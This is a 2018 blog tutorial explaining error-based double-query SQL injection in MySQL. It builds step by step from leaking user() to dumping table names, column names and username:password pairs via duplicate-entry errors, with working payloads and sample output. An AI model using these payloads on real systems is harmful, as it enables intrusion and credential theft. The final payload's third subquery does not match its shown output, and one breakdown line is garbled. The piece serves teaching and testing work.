Exploiting Double-Query SQL Injection

Dann · September 21, 2018

Web Application Hacking

Double-Query or Subquery Injection is a technique that is used to exploit an SQL Injection vulnerability. By combining two queries within a single query, it is possible to extract information from the database through it’s SQL error messages.

When would it be used:

We have found an SQL Injection! However, the web application isn’t reflecting any data back on the page which means extraction via UNION SELECT can’t be used. Whilst no data is returned, we do notice that the web application is returning SQL Error Messages back to the user. This means we can utlise a technique called Double Query Injection!

How:

First, we have the following SQL Query and we have identified it is vulnerable to SQL Injection. This is going to be used as our base and we will be injecting our payload onto the end of it.

SELECT * FROM accounts WHERE id ='1'

Enumerate Simple Database Information

Next, we would start enumerating the database in order to find out more information. We can use a double query injection, shown below, in order to enumerate built-in functions from the database. Functions such as user() & database() etc.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'root@localhost2' for key 1

Breaking Down The Query:

First let’s examine the query below. We are joining together the following items using the CONCAT() function:

user() - This is a built-in command that will output the current user the database is running as.
RAND()\*2 - This commands generates a random number and multiplies it by 2.
FLOOR(RAND()\*2) - This command floors the result of RAND()*2, which would result in either a 1 or 0. The FLOOR() function returns the largest integer value that is equal to or less than the specified number.
GROUP BY - This function is used in order to display the unique values and then output them under a column called “a”. This is done because information_schema.tables has 430 rows, meaning that it would generate 430 rows containing the result under a column called “a”. However, we want to make sure we’re only getting the unique values, which would return only 2 results. The unique values in this case being root@localhost0 and root@localhost1.

To summarise, this query will join together the database user() and either a ‘0’ or a ‘1’. Then only the unique values will be displayed under “a”.

SELECT CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a;

+-----------------+
| a               |
+-----------------+
| root@localhost0 | 
| root@localhost1 | 
+-----------------+
2 rows in set (0.05 sec)

Next we are going to introduce the COUNT(*) function. By adding the count() function, the query now will now count how many times each value was generated, up to a maximum of the total number of rows in information_schema.tables (430). Eventually the statement will cause a database error, which then proceeds to leak the information we require.

SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a;

+----------+-----------------+
| COUNT(*) | a               |
+----------+-----------------+
|      213 | root@localhost0 | 
|      217 | root@localhost1 | 
+----------+-----------------+
2 rows in set (0.05 sec)

SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a;

ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 1

Lastly, in order to execute it within our SQL Injection, we need to append it using an AND operation. However, it isnt possible to just simply use an AND by itself to join the queries together and when we execute it we are presented with the following error message:

SELECT * FROM accounts WHERE id = '1' AND (SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a); 
ERROR 1241 (21000): Operand should contain 1 column(s)

This is due to the fact that the subquery is returning two columns!

Therefore, in order to fix this, we can create a temporary table to store our two rows but then only select 1 result:

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT user()), FLOOR(RAND()*2)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 1

We have inserted a select statement that will select 1 row from a temporary table called “x”.

Voila! We have constructed a basic double-query injection that will dump the user that the database is currently running as. In this case, it’s root@localhost.

Enumerating Tables

We can enumerate tables in a similar way as how we extracted the user() and database() information shown above. By switching out user() for the following SELECT statement, we can query information_schema.tables for any table_names that are in the current database. We can then proceed to enumerate table names, one by one, by using the LIMIT function. i.e. LIMIT 0,1. LIMIT 1,1 etc.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'accounts2' for key 1

Enumerating Columns

Again, like above, with some simple tweaking we can enumerate columns for the tables we discovered earlier. By swapping out the previous query for one that queries information_schema.columns, we can search for column_names that belong to a specific table. An example of this is shown below:

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='accounts' LIMIT 0,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'cid0' for key 1

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='accounts' LIMIT 1,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'username3' for key 1

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT column_name FROM information_schema.columns WHERE table_name='accounts' LIMIT 2,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'password0' for key 1

Like above, you can use LIMIT to cycle through column names one by one.

Extracting Data from Columns

Now that we have enumerated the table names and the column names, we can expand on the payload above and actually extract information from the columns. Earlier, we noticed that we managed to find a table called accounts, and within that table there were columns called username & password.

We can use the SQL Function called MID() to extract data from columns. MID() allows you to specify a column_name to search, the start position (first position is 1), and the required numbers of characters.

The payload below combines multiple MID() functions in order to extract the username and password, separated by colon.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT MID(username,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 2,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

ERROR 1062 (23000): Duplicate entry 'admin:adminpass3' for key 1

Summary

Double Query or Substring Injection is another technique that can be used to exploit SQL Injections. They are particularly useful when the application is only returning SQL error messages and no data.

SELECT * FROM accounts WHERE id = '1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT MID(username,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 0,1),':',(SELECT MID(password,1,63) FROM accounts LIMIT 2,1), FLOOR(RAND()*5)) AS a FROM information_schema.tables GROUP BY a)x)-- -

Query Breakdown:

SELECT 1 FROM x - Derived table (temporary table) to store our two rows.
COUNT() - The COUNT() function returns the number of rows that matches a specified criteria.
CONCAT() - Joins items.
MID() - Select substring of a string. In this case it allows you to specify the column name then select the starting character and the total amount of characters we want to extract. We can specify the exact row with LIMIT.
LIMIT 2,1 - Starting at row 2 return 1 result.
FLOOR(rand()5)) - Create a random value, multiply it by 5 and then floor it to get the result.
GROUP BY - Displays the distinct entries from the column. The label or alias “a” is added to display the Column name as “a” which can be referenced by GROUP BY Clause.
-- - SQL Comment to comment out the rest of the SQL query.

References

Share: Twitter, Facebook